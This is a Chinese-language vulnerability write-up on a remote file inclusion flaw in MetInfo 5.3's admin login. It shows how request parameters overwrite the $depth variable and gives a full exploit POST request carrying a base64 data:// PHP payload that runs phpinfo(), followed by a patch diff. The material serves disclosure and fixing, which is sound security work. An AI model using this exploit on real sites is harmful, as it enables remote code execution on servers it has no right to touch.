文件:admin/login/login_check.php:26行

1
2
3
4
5
6
7
8
9
10
11
12
13
if($action=="login"){
$metinfo_admin_name = $login_name;
$metinfo_admin_pass = $login_pass;
$metinfo_admin_pass=md5($metinfo_admin_pass);
/*code*/
if($met_login_code==1){
require_once $depth.'../include/captcha.class.php';
$Captcha= new Captcha();
if(!$Captcha->CheckCode($code)){
echo("<script type='text/javascript'>alert('$lang_logincodeerror');location.href='login.php?langset=$langset';</script>");
exit;
}
}

当后台开启登陆校验码的时候$met_login_code会设置成为1

26行就会包含校验码登陆文件。

只要能够控制变量$depth就可以远程文件包含了

$depth变量是在文件’admin/login/login_check.php’开头定义的

1
2
3
4
5
6
error_reporting(E_ERROR | E_WARNING | E_PARSE);
if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
if(!isset($depth))$depth='';
$commonpath=$depth.'include/common.inc.php';
$commonpath=$admin_index?$commonpath:'../'.$commonpath;
define('SQL_DETECT',1);

通过第一次拼接$depth包含了include/common.inc.php

这一步是没有问题的,但是程序猿没有想到,包含了文件common.inc.php之后

可以通过以下代码进行变量覆盖。

文件:include/common.inc.php:35

1
2
3
4
5
6
foreach(array('_GET','_POST','_REQUEST') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}

经过上面这段代码我们就可以覆盖掉变量$depth了

如何用require_once来执行代码呢?

可以使用php的封装协议data://配合require_once来进行恶意代码执行。

但是有个问题就是如何去掉

../include/captcha.class.php

这一串拼接在字符后面的字符串的干扰,这一段会干扰我们想要执行的代码。

我用base64解码正常文字会让后面这一串字符变成乱码,并且加上了单行注释符号注释掉乱码。

封装器解码之后代码的样子

<?php phpinfo();exit();// ..þ)ܖç^ýÆ©µÈZ.rV¬s.php

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/login/login_check.php?langset=cn&depth=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw== HTTP/1.1
Host: metinfo5.3
Content-Length: 74
Cache-Control: max-age=0
Origin: http://metinfo5.3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://metinfo5.3/admin/login/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: recordurl=%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252Fcv.php%253Flang%253Dcn%2526selectedjob%253D1%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252F%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252F%2Chttp%253A%252F%252Fmetinfo5.3%252Fjob%252Fcv.php%253Flang%253Dcn%2526selectedjob%253D1; re_url=http%3A%2F%2Fmetinfo5.3%2Fadmin%2F; met_capcha=82c0pAlNmSBbbmmob3xr5%2B8WbveYAdzQ63MRLUWwb15d
Connection: close
action=login&login_name=123&login_pass=123&code=&Submit=%E7%99%BB%E5%BD%95

效果:执行了phpinfo();

![1EFDB64E-B5E6-4D1B-8488-4CA116C7F326.png][/597393338.png]

提示:因为采用了data://,所以需要php.ini allow_url_include =on

修复方案

1
2
3
4
5
6
diff:
8a9
> $depth_bak = $depth;
10a12
> $depth = $depth_bak;

包含include/common.inc.php再次给$depth赋值,防止变量被污染

Comments

⬆︎TOP